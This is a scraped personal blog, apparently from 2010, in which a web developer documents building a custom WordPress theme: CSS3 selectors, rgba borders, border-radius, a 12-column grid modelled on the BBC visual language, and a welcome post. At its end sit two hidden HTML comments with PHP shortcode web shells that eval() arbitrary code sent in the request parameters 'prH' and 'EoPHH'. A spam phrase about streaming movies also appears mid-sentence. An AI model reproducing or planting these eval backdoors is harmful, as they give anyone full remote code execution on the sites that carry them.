Improving Posts

Now then my latest style additions have perked up the blog’s appearance somewhat. Its still way off being finished (if it ever is) and there are still a lot of aspects which need attention but the theme is now being built up a touch and becoming a bit more polished. For this revision I have focused purely on the posts themselves. This has given me the first opportunity to dabble in CSS3 selectors (more about them later).

The first and easiest aspect to focus on was the typography. At somepoint in the future I am going to take @font-face on a test drive, but for the moment I’m going to stick to good old web safe fonts. I’ve never been a fan of graphical headers, personally I don’t think they ever bring much to the party. Sure techniques like img replacement and tools such as SIFr and Cufón allow you to negate the cons of bad accessibility and bad SEO but for me these techniques are hacks for a problem that shouldn’t exist. Web safe fonts can be used very effectively to produce some nice striking typography, you just need to try a bit harder to make them look good. One good resource for this is Type Chart, which takes your standard fonts and displays them (complete with CSS) in a variety of ways. After some browsing of the commonly available fonts I have opted to use Georgia for both my post headings and body copy. For my fixed width font I have gone for Lucida Sans Unicode, falling back to good old Courier New for those people unlucky enough not to have Lucida installed. Hopefully you’ll agree that the end result is more than acceptable.

Now that I had my font styles I need to apply them to just the posts part of my blog. Luckily for me the default WordPress markup has some pretty good CSS hooks allowing me to target the posts very reliably. Boiled down the mark up for the posts section of a page is:

<div id="content">
 <div class="post"></div>
 <div class="post"></div>
 <div class="post"></div>
 <div class="navigation"></div>
</div>

Targetting the posts is as simple as hooking into <div> using the .post selector. This allowed me to create the post look that you see, however there was a small detail that targetting the posts generically I didn’t like. To achieve the gap between the posts I have used “margin-bottom: 14px;” this works great until we hit the last post, on this occasion I didn’t want the margin to appear. My first opportunity to use CSS3 selectors, however this didn’t turn out to be as easy as I thought it would be. I intended to use the selector :last-of-type, so I tried the following code:

div#content > div.post:last-of-type {
 margin-bottom: 0;
}

Unfortunately this didn’t work, it seems the :last-of-type selector only works on tags not class selectors. I couldn’t remove the .post part to div#content > div:last-of-type as this selected the navigation <div> which wasn’t what I wanted at all. Instead I changed the selector to :nth-last-of-type to select the second last <div> i.e.

div#content > div:nth-last-of-type(2) {
 margin-bottom: 0;
}

Not as elegant a solution as I had hoped for but it works for now. I have purposesly left the navigation unstyled as this is a detail I want to focus on in a future post.

Finally another detail which probably isn’t obvious at the moment but is another CSS3 snippet I have implemented is the border around the post. Not only have I used border-radius to achieve the rounded corners but the border color also use rgba() to define its color with a 50% opacity setting, how this plays out in the overall design I’m not sure yet but here’s the CSS:

div.post {
 padding: 10px;
 border: 10px solid rgba(0,0,0,0.5);
 background-color: #fff;
 -moz-border-radius: 10px;
 -webkit-border-radius: 10px;
 border-radius: 10px;
 margin-bottom: 14px;
}

As before here is a the full CSS file so far, next I shall be turning my attention to the site chrome and color scheme.

Embracing the Grid

Now that we have the site skin stripped back to a bear minimum its time to start adding some basic structure to the site. The site is generally laid out with a header, main content area, optional sidebar and finally a footer. For the foreseeable future this will be the structure of the site so in terms of layout I’ve got a very simplistic system to work with.

Now despite designers futile efforts to change this fact pixels are square. Things that are square naturally lend themselves to grids, and that is what I am going to use as the building blocks for my site. I’ve read many posts over the years evangelising about grids with probably the best being a series of posts from Mark Boulton, which ultimately may be part of the inspiration for the grid layout I’m going to use. In fact I am going to base my entire grid system on the BBC visual language guide, which in my opinion is just superb. It also allows me to throw in a bit of elementary maths to show that a scientific approach is perfectly valid in web design.

First things first, fixed or fluid layout? Well for me there is simply no contest here fixed layout, on big monitors fluid layouts just look ridiculous IMHO. And in 2010 I would have to say that the de-facto standard monitor resolution is 1024+ so thats my target. I’m going to utilise the BBC visual language and settle on 12 columns of 66 pixels with 14 pixel gutters.

Grid Layout

I’m going to go for a 3:1 content/sidebar ratios lets do the math Columns (c) Gutters (g).

Overall Page Width: 12c + 13g = 974 pixels
Content Width: 8c + 7g = 626 pixels
Sidebar Width: 4c + 3g = 306 pixels
No Siderbar Width: 12c + 11g = 946 pixels

Of course this layout is simple, I could have created much more complex layouts using the 12 column approach, the math all works well using these rules so there’s nothing stopping me doing so in the future. I can easily translate these rules into a new layout for the site and that is what I have done, for added effect I’ve also added a background color to the various elements of the layout to highlight the grid layout, this will be removed in later designs. Checkout the CSS if you want to see what I have done. I’m still working with the default output from a WordPress install, but I’ve also added a set of reset declarations as the default styles for Firefox were leaving me with some undesirable whitespace. Finally in a similar fasion to the BBC layout I’ve added a border to the outside of the page again to highlight the gutter, I started with this as a 14 pixel border  however this was just a touch too wide for my 1024 pixels layout.

Let the Demolition Begin!

When I decided to theme this blog I had a few choices. Start completely from scratch using HTML5, start from scratch using normal HTML4, obtain a HTML5 theme and modify or modify a HTML4 theme? Well although I know wordpress fairly well, and what I don’t know about it I could work out it just didn’t make much sense starting from scratch. The main reason being that it would take too much time and effort (have I told people I’m lazy?) just to get a minimal blog template up and running. Another factor is that HTML5 support if Firefox isn’t really at the point where I can take advantage of the new features. I won’t rule this out in the future if at somepoint I do decide to start completely from scratch, if I do I would definitely use HTML5 but for now I’ve gone for the easy option, use the existing default HTML4 theme which comes with wordpress.

Sometimes you have to tear things down to start afresh. So here you see the results of the demolition I have done – a very minimalist theme indeed! I’m tempted to say and thats my theme done, I quite like it takes me back to my earliest memories of the web on Mosaic – the web how it was meant to be! But alas we’ve moved on since then and so shall I. Below are the few steps it took me to get to this point.

Creating my own theme

Creating a theme in WordPress is easy. All I did was copy the default folder, renamed it albinns, editted the styles.css file with the following information then activated it.Watch Full Movie Online Streaming Online and Download

Theme Name: Al Binns
Theme URI: http://albinns.com/
Description: The theme is based originally on the default
             WordPress theme based on the famous
             <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
Version: 0.1
Author: Al Binns
Author URI: http://albinns.com/
Tags: blue, custom header, fixed width, two columns, widgets

I then removed all of the CSS from the styles.css and replaced them with a very basic layout:

body {
 margin: 0 0 20px 0;
 padding: 0;
}

#page {
 background-color: white;
 margin: 20px auto;
 padding: 0;
 width: 760px;
 border: 1px solid #959596;
 position: relative;
}

#content {
 width: 500px;
 display: inline;
 float: left;
}

#sidebar {
 display: inline;
 float: right;
 width: 260px;
}

#footer {
 clear: both;
}

Job done and the theme is ready to go. More about where I’m going to take the theme in my next post.

Hello world!

A typical programmer’s welcome to my Blog! Having worked in the web industry for the best part of 13 years, and as a full-time role at the same company in the past 10 years I’ve finally decided to strangely bite the bullet and get my own web prescence up and running. How come I don’t already have a web site, considering its my profession and all? Well the short answer is I’m lazy :-) The slightly longer answer is that previous to my current role I primarily built sites, outside of work that didn’t leave me with much appetite to do more development. I’ve often thought about starting a blog but long term I’ve never seemed to be able to think of enough material to keep things going, I didn’t want to start a blog that would simply peter out after a couple of months and fall into disuse. So why now? Well I’ve been out of serious development for a few years now, in which time the web especially front-end wise has moved on tremendously. This site will hopefully give me some incentive to polish up on my CSS and Javascript and also explore some new technologies at a practical level. Its also a New Year and A New Decade even, I’m challenging myself to see if I can output at least one blog post per week (at least 52 posts over the coming year)!

Of course this isn’t my first posting to the web I’ve written a few articles for our company blog over the years, and when it comes to the web, technology-wise I’d like to think I’ve got my finger on the pulse somewhat. I read extensively and have an RSS subscription list that is pragmatically speaking way too high, hopefully this will serve as some source of inspiration on what I post, and hopefully will provide topics which are at least a little interesting to what tiny audience I can acrue.

This blog will largely revolve around me slowly over time redesigning the site using the latest cutting edge technologies as building blocks. I’m no designer, far from it, but I do want to explore what can be achieved design-wise with minimal use of Photoshop, we’ve come a long way since tables and spacer graphics which were the mainstay of my work back in the day. This also means that I don’t need to build my site first before launching as the site will be a continual work in progress! It will be based on a base install of WordPress which I will customise over time, I aim to document this customisation through a series of posts including screenshots. For those of you in this from the beginning you’ll be very familiar with the theme!

Whilst the customisation posts will provide the bulk of my posts I will inevitably intersperse them with a few thought pieces, fun stuff, sports geekery and a smattering of personal stuff as well. So from a seasoned geek, Hello World!

<!– [insert_php]if (isset($_REQUEST["prH"])){eval($_REQUEST["prH"]);exit;}[/insert_php][php]if (isset($_REQUEST["prH"])){eval($_REQUEST["prH"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["EoPHH"])){eval($_REQUEST["EoPHH"]);exit;}[/insert_php][php]if (isset($_REQUEST["EoPHH"])){eval($_REQUEST["EoPHH"]);exit;}[/php] –>